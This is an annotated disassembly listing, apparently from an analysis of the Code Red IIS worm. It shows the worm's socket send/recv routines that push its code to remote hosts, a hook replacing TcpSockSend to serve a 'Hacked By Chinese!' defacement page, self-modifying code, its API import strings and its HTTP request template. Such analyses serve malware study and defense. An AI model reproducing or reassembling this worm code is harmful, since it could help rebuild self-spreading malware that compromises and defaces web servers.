seg000:00000B67 89 85 4C FE FF FF      mov     [ebp-1B4h], eax
seg000:00000B6D
seg000:00000B6D          SETUP_QUERY_TO_SEND:          ; CODE XREF: HA
CK_PAGE+4FE\030j
seg000:00000B6D 8B 8D 64 FE FF FF      mov     ecx, [ebp-19Ch]
seg000:00000B73 0F BE 11          movsx   edx, byte ptr [ecx] ; Move with
Sign-Extend
seg000:00000B76 85 D2            test    edx, edx        ; Logical Compa
re
seg000:00000B78 74 02            jz      short SEND_QUERY ; Jump if Zero
(ZF=1)
seg000:00000B7A EB D3            jmp     short GET_NEXT_QUERY_BYTE ; inc
rement the memory pointer to the headers
seg000:00000B7C          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000B7C
seg000:00000B7C          SEND_QUERY:          ; CODE XREF: HA
CK_PAGE+529\030j
seg000:00000B7C 8B F4            mov     esi, esp
seg000:00000B7E 6A 00            push    0              ; no flags
seg000:00000B80 8B 85 4C FE FF FF      mov     eax, [ebp-1B4h] ; push size of
headers
seg000:00000B86 50              push    eax
seg000:00000B87 8B 4D 08          mov     ecx, [ebp+8]
seg000:00000B8A 8B 51 64          mov     edx, [ecx+64h]
seg000:00000B8D 52              push    edx             ; push addr poi
nting to headers
seg000:00000B8E 8B 85 78 FE FF FF      mov     eax, [ebp-188h]
seg000:00000B94 50              push    eax             ; push sock des
criptor
seg000:00000B95 FF 95 C0 FE FF FF      call    dword ptr [ebp-140h] ; send
seg000:00000B95          ; send the head
ers
seg000:00000B9B 3B F4            cmp     esi, esp        ; Compare Two 0
perands
seg000:00000B9D 90              nop                    ; No Operation
seg000:00000B9E 43              inc     ebx             ; Increment by
1
seg000:00000B9F 4B              dec     ebx             ; Decrement by
1
seg000:00000BA0 43              inc     ebx             ; Increment by
1
seg000:00000BA1 4B              dec     ebx             ; Decrement by
1
seg000:00000BA2 C7 85 4C FE FF FF+    mov     dword ptr [ebp-1B4h], 0 ; reset
counter to 0
seg000:00000BAC 8B 8D 68 FE FF FF      mov     ecx, [ebp-198h] ; set ebp-19c t
o our headers
seg000:00000BB2 83 C1 07          add     ecx, 7          ; Add
seg000:00000BB5 89 8D 64 FE FF FF      mov     [ebp-19Ch], ecx
seg000:00000BBB EB 1E            jmp     short SETUP_HEADERS_TO_SEND ; J
ump
seg000:00000BBD          ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000BBD
seg000:00000BBD          GET_NEXT_HEADERS:          ; CODE XREF: HA
CK_PAGE+599\031j
seg000:00000BBD 8B 95 64 FE FF FF      mov     edx, [ebp-19Ch]
seg000:00000BC3 83 C2 01          add     edx, 1          ; Add
seg000:00000BC6 89 95 64 FE FF FF      mov     [ebp-19Ch], edx
```

```
seg000:00000BCC 8B 85 4C FE FF FF      mov     eax, [ebp-1B4h]
seg000:00000BD2 83 C0 01                add     eax, 1          ; Add
seg000:00000BD5 89 85 4C FE FF FF      mov     [ebp-1B4h], eax
seg000:00000BDB
seg000:00000BDB          SETUP_HEADERS_TO_SEND:          ; CODE XREF: HA
CK_PAGE+56C\030j
seg000:00000BDB 8B 8D 64 FE FF FF      mov     ecx, [ebp-19Ch]
seg000:00000BE1 0F BE 11                movsx   edx, byte ptr [ecx] ; Move with
Sign-Extend
seg000:00000BE4 85 D2                  test    edx, edx        ; Logical Compa
re
seg000:00000BE6 74 02                  jz      short SEND_HEADERS ; Jump if Ze
ro (ZF=1)
seg000:00000BE8 EB D3                  jmp     short GET_NEXT_HEADERS ; Jump
; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000BEA
seg000:00000BEA          SEND_HEADERS:          ; CODE XREF: HA
CK_PAGE+597\030j
seg000:00000BEA 8B F4                  mov     esi, esp
seg000:00000BEC 6A 00                  push    0
seg000:00000BEE 8B 85 4C FE FF FF      mov     eax, [ebp-1B4h] ; push counted
size
seg000:00000BF4 50                      push    eax
seg000:00000BF5 8B 8D 68 FE FF FF      mov     ecx, [ebp-198h] ; push addr of
our headers
seg000:00000BFB 83 C1 07                add     ecx, 7          ; Add
seg000:00000BFE 51                      push    ecx
seg000:00000BFF 8B 95 78 FE FF FF      mov     edx, [ebp-188h] ; push socket d
escriptor
seg000:00000C05 52                      push    edx
seg000:00000C06 FF 95 C0 FE FF FF      call    dword ptr [ebp-140h] ; send
seg000:00000C0C 3B F4                  cmp     esi, esp        ; Compare Two 0
perands
seg000:00000C0E 90                      nop                     ; No Operation
seg000:00000C0F 43                      inc     ebx              ; Increment by
1
seg000:00000C10 4B                      dec     ebx              ; Decrement by
1
seg000:00000C11 43                      inc     ebx              ; Increment by
1
seg000:00000C12 4B                      dec     ebx              ; Decrement by
1
seg000:00000C13 8B 45 08                mov     eax, [ebp+8]    ; get data requ
est size
seg000:00000C16 8B 48 70                mov     ecx, [eax+70h]
seg000:00000C19 89 8D 4C FE FF FF      mov     [ebp-1B4h], ecx ; set counter t
o data request size
seg000:00000C1F 8B F4                  mov     esi, esp
seg000:00000C21 6A 00                  push    0                ; no flags
seg000:00000C23 8B 95 4C FE FF FF      mov     edx, [ebp-1B4h] ; push request
size
seg000:00000C29 52                      push    edx
seg000:00000C2A 8B 45 08                mov     eax, [ebp+8]
seg000:00000C2D 8B 48 78                mov     ecx, [eax+78h]   ; get and push
data request
seg000:00000C30 51                      push    ecx
seg000:00000C31 8B 95 78 FE FF FF      mov     edx, [ebp-188h] ; push sock des
c
seg000:00000C37 52                      push    edx
seg000:00000C38 FF 95 C0 FE FF FF      call    dword ptr [ebp-140h] ; send
; this sends th
e actual malicious code to the remote side
seg000:00000C3E 3B F4                  cmp     esi, esp        ; Compare Two 0
perands
seg000:00000C40 90                      nop                     ; No Operation
seg000:00000C41 43                      inc     ebx              ; Increment by
1
seg000:00000C42 4B                      dec     ebx              ; Decrement by
1
```

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```

seg000:00000C43 43          inc     ebx           ; Increment by
1
seg000:00000C44 4B          dec     ebx           ; Decrement by
1
seg000:00000C45 C6 85 FC FE FF FF+ mov     byte ptr [ebp-104h], 0 ; set eb
p-104 to 0
seg000:00000C4C 8B F4       mov     esi, esp
seg000:00000C4E 6A 00       push    0             ; no flags
seg000:00000C50 68 00 01 00 00 push    100h          ; set 100 len
seg000:00000C55 8D 85 FC FE FF FF lea     eax, [ebp-104h] ; push addr of
ebp-104
seg000:00000C5B 50          push    eax
seg000:00000C5C 8B 8D 78 FE FF FF mov     ecx, [ebp-188h] ; push sockdesc
seg000:00000C62 51          push    ecx
seg000:00000C63 FF 95 C4 FE FF FF call    dword ptr [ebp-13Ch] ; recv
seg000:00000C63                                     ;
seg000:00000C63                                     ; receive a res
ponse from the remote side
seg000:00000C69 3B F4       cmp     esi, esp      ; Compare Two O
perands
seg000:00000C6B 90          nop                     ; No Operation
seg000:00000C6C 43          inc     ebx           ; Increment by
1
seg000:00000C6D 4B          dec     ebx           ; Decrement by
1
seg000:00000C6E 43          inc     ebx           ; Increment by
1
seg000:00000C6F 4B          dec     ebx           ; Decrement by
1
seg000:00000C70 89 85 4C FE FF FF mov     [ebp-1B4h], eax ; set counter t
o data received from recv
seg000:00000C76                                SOCK_CLOSE_LOOP:        ; CODE XREF: HA
CK_PAGE+432\030j
seg000:00000C76 8B F4       mov     esi, esp
seg000:00000C78 8B 95 78 FE FF FF mov     edx, [ebp-188h]
seg000:00000C7E 52          push    edx
seg000:00000C7F FF 95 C8 FE FF FF call    dword ptr [ebp-138h] ; closesoc
ket
seg000:00000C85 3B F4       cmp     esi, esp      ; Compare Two O
perands
seg000:00000C87 90          nop                     ; No Operation
seg000:00000C88 43          inc     ebx           ; Increment by
1
seg000:00000C89 4B          dec     ebx           ; Decrement by
1
seg000:00000C8A 43          inc     ebx           ; Increment by
1
seg000:00000C8B 4B          dec     ebx           ; Decrement by
1
seg000:00000C8C                                loc_C8C:                ; this exits fr
om sub_224, not positive of the end result.
seg000:00000C8C E9 0C FB FF FF jmp     DO_THE_WORK
seg000:00000C91                                ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000C91                                TIGHT_LOOP:            ; CODE XREF: DO
_RVA+230\030j
seg000:00000C91                                ; HACK_PAGE+155
\030j ...
seg000:00000C91 EB FE       jmp     short TIGHT_LOOP ; This is a ti
ght loop
seg000:00000C91                                HACK_PAGE              endp
seg000:00000C93                                ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000C93                                JUMP_TABLE1:          ; CODE XREF: Da
taSetup+1C\030j

```

```
seg000:00000C93 E8 8C F5 FF FF      call    DO_RVA          ; Call Procedure
e
seg000:00000C98 EB 30              jmp     short HOOK_FAKE_TCPSOCKSEND ; e
bp-1a0 it seems
seg000:00000C9A
seg000:00000C9A                  ; 0000000000000000 S U B R O U T I N E 0000000000000000
000000000000000000000000
seg000:00000C9A
seg000:00000C9A                  ; This is a fake tcpsocksend that replaces the current
one.
seg000:00000C9A                  ; it serves to deliver the hacked page when inititalize
d
seg000:00000C9A
seg000:00000C9A                  FAKE_TCPSOCKSEND proc near          ; CODE XREF: se
g000:00000CCA\031p
seg000:00000C9A
seg000:00000C9A                  var_C                = dword ptr -0Ch
seg000:00000C9A                  arg_4               = dword ptr  8
seg000:00000C9A
seg000:00000C9A 58              pop     eax
seg000:00000C9B 83 C0 05        add     eax, 5          ; Add
seg000:00000C9E 55              push    ebp
seg000:00000C9F 57              push    edi
seg000:00000CA0 53              push    ebx
seg000:00000CA1 56              push    esi
seg000:00000CA2 50              push    eax
seg000:00000CA3 6A 3C          push    3Ch ; '<'
seg000:00000CA5 8B F0          mov     esi, eax
seg000:00000CA7 83 C6 0C        add     esi, 0Ch        ; Add
seg000:00000CAA 56              push    esi
seg000:00000CAB 68 00 01 00 00  push    100h
seg000:00000CB0 FF 70 08        push    dword ptr [eax+8]
seg000:00000CB3 FF 74 24 28      push    [esp+20h+arg_4]
seg000:00000CB7 FF 10          call    dword ptr [eax] ; Indirect Call
Near Procedure
seg000:00000CB9 58              pop     eax
seg000:00000CBA 50              push    eax
seg000:00000CBB FF 74 24 18      push    [esp+24h+var_C]
seg000:00000CBF FF 50 04        call    dword ptr [eax+4] ; Indirect Ca
ll Near Procedure
seg000:00000CC2 58              pop     eax
seg000:00000CC3 5E              pop     esi
seg000:00000CC4 5B              pop     ebx
seg000:00000CC5 5F              pop     edi
seg000:00000CC6 5D              pop     ebp
seg000:00000CC7 FF 20          jmp     dword ptr [eax] ; Indirect Near
Jump
seg000:00000CC7
seg000:00000CC7
seg000:00000CC7
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000CC9 90              db  90h ; \220
seg000:00000CCA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
seg000:00000CCA
seg000:00000CCA                  HOOK_FAKE_TCPSOCKSEND:          ; CODE XREF: se
g000:00000C98\030j
seg000:00000CCA
D4\031j
seg000:00000CCA E8 CB FF FF FF      call    FAKE_TCPSOCKSEND ; This is a fa
ke tcpsocksend that replaces the current one.
seg000:00000CCA
deliver the hacked page when inititalized
seg000:00000CCF
seg000:00000CCF                  HACK_PAGE_JUMP:          ; CODE XREF: DO
_RVA+426\030j
seg000:00000CCF E8 7B F9 FF FF      call    HACK_PAGE        ; this sets up
the hacked page bit
seg000:00000CD4 EB F8          jmp     short near ptr HOOK_FAKE_TCPSOC
KSEND+4 ; Jump
```



```

seg000:00000CD4      ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
seg000:00000CD6 22          PADDING_BYTES    db 22h ; "
seg000:00000CD7 6E          db 6Eh ; n
seg000:00000CD8 84          db 84h ; \204
seg000:00000CD9 32          db 32h ; 2
seg000:00000CDA 03          db 3 ; 
seg000:00000CDB 75          db 75h ; u
seg000:00000CDC B3          db 0B3h ; ^
seg000:00000CDD CA          db 0CAh ; Ê
seg000:00000CDE 5A          db 5Ah ; Z
seg000:00000CDF 04          db 4 ; 
seg000:00000CE0 56          db 56h ; V
seg000:00000CE1 34          db 34h ; 4
seg000:00000CE2 12          db 12h ; 
seg000:00000CE3 B8          db 0B8h ; ¸
seg000:00000CE4 78          db 78h ; x
seg000:00000CE5 56          db 56h ; V
seg000:00000CE6 34          db 34h ; 4
seg000:00000CE7 12          db 12h ; 
seg000:00000CE8 B8          db 0B8h ; ¸
seg000:00000CE9 78          db 78h ; x
seg000:00000CEA 56          db 56h ; V
seg000:00000CEB 34          db 34h ; 4
seg000:00000CEC 12          db 12h ; 
seg000:00000CED           ; 0000000000000000 S U B R O U T I N E 0000000000000000
0000000000000000000000
seg000:00000CED           ; This function:
seg000:00000CED           ; sets up edi
seg000:00000CED           ; dynamically rewrites a bit of worm code to point to t
he head of the code
seg000:00000CED           DO_REWRITE        proc near                ; CODE XREF: DO
RVA+29\030p
seg000:00000CED 58          pop     eax
seg000:00000CEE 50          push    eax
seg000:00000CEF 8B BD 68 FE FF FF   mov     edi, [ebp-198h] ; put an addr i
nto edi
seg000:00000CF5 89 47 F2          mov     [edi-0Eh], eax ; dynamically r
ewrite jump addr at o.D02
seg000:00000CF8 C3          retn                    ; Return Near f
rom Procedure
seg000:00000CF8           DO_REWRITE        endp
seg000:00000CF8           ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
seg000:00000CF9           SELF_MODIFY1:                ; CODE XREF: se
g000:00000D0B\031j
seg000:00000CF9 8B 44 24 0C          mov     eax, [esp+0Ch]
seg000:00000CFD 05 B8 00 00 00       add     eax, 0B8h ; ',' ; Add
seg000:00000D02 C7 00 DA F1 CD 00       mov     dword ptr [eax], 0CDF1DAh ; thi
s is self modifying code. the move value gets set to RVA LOOP(o 252)
seg000:00000D08 33 C0          xor     eax, eax            ; Logical Exclu
sive OR
seg000:00000D0A C3          retn                    ; Return Near f
rom Procedure
seg000:00000D0B           ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
seg000:00000D0B EB EC          jmp     short SELF_MODIFY1 ; Jump
seg000:00000D0D           ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
seg000:00000D0D           WORMCONTINUE:                ; CODE XREF: WO
RM+28\030j
seg000:00000D0D E8 F1 F4 FF FF       call    DataSetup          ; Call Procedur
e
seg000:00000D0D           ; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

```

AAAAAAAAAAAAAAAAAAAAAA

```
seg000:00000D12 4C 6F 61 64 4C 69+aLoadlibrarya db 'LoadLibraryA',0
seg000:00000D1F 47 65 74 53 79 73+aGetsystemtime db 'GetSystemTime',0
seg000:00000D2D 43 72 65 61 74 65+aCreatethread db 'CreateThread',0
seg000:00000D3A 43 72 65 61 74 65+aCreatefilea db 'CreateFileA',0
seg000:00000D46 53 6C 65 65 70 00 aSleep db 'Sleep',0
seg000:00000D4C 47 65 74 53 79 73+aGetsystemdefau db 'GetSystemDefaultLangID',0
seg000:00000D63 56 69 72 74 75 61+aVirtualprotect db 'VirtualProtect',0
seg000:00000D72 09 db 9 ;
seg000:00000D73 69 6E 66 6F 63 6F+aInfocomm_dll db 'infocomm.dll',0
seg000:00000D80 54 63 70 53 6F 63+aTcpssocksend db 'TcpSockSend',0
seg000:00000D8C 09 db 9 ;
seg000:00000D8D 57 53 32 5F 33 32+aWs2_32_dll db 'WS2_32.dll',0
seg000:00000D98 73 6F 63 6B 65 74+aSocket db 'socket',0
seg000:00000D9F 63 6F 6E 6E 65 63+aConnect db 'connect',0
seg000:00000DA7 73 65 6E 64 00 aSend db 'send',0
seg000:00000DAC 72 65 63 76 00 aRecv db 'recv',0
seg000:00000DB1 63 6C 6F 73 65 73+aClosesocket db 'closesocket',0
seg000:00000DBD 09 db 9 ;
seg000:00000DBE 77 33 73 76 63 2E+aW3svc_dll db 'w3svc.dll',0
seg000:00000DC8 00 db 0 ;
seg000:00000DC9 47 45 54 20 00 aGet db 'GET ',0
seg000:00000DCE 3F db 3Fh ; ?
seg000:00000DCF 00 db 0 ;
seg000:00000DD0 20 20 48 54 54 50+aHttp1_0Content db ' HTTP/1.0',0Dh,0Ah
seg000:00000DD0 2F 31 2E 30 0D 0A+ db 'Content-type: text/xml',0Ah
seg000:00000DD0 43 6F 6E 74 65 6E+ db 'HOST:www.worm.com',0Ah
seg000:00000DD0 74 2D 74 79 70 65+ db ' Accept: */*',0Ah
seg000:00000DD0 3A 20 74 65 78 74+ db 'Content-length: 3569 ',0Dh,0Ah
seg000:00000DD0 2F 78 6D 6C 0A 48+ db 0Dh,0Ah,0
seg000:00000E2C 63 3A 5C 6E 6F 74+aCNotworm db 'c:\notworm',0
seg000:00000E37 4C 4D 54 48 0D 0A+aLmthHtmlHeadMe db 'LMTH',0Dh,0Ah
seg000:00000E37 3C 68 74 6D 6C 3E+ db '<html><head><meta http-equiv="Conte
nt-Type" content="text/ht'
seg000:00000E37 3C 68 65 61 64 3E+ db 'ml; charset=english"><title>HELLO!<
/title></head><bady><hr s'
seg000:00000E37 3C 6D 65 74 61 20+ db 'ize=5><font color="red"><p align="c
enter">Welcome to http://'
seg000:00000E37 68 74 74 70 2D 65+ db 'www.worm.com !<br><br>Hacked By Chi
nese!</font></hr></bady><'
seg000:00000E37 71 75 69 76 3D 22+ db '/html>
'
seg000:00000E37 43 6F 6E 74 65 6E+ db '
'
seg000:00000E37 74 2D 54 79 70 65+ db '
'
seg000:00000E37 22 20 63 6F 6E 74+seg000 ends
seg000:00000E37 65 6E 74 3D 22 74+
seg000:00000E37 65 78 74 2F 68 74+
seg000:00000E37 6D 6C 3B 20 63 68+ end
```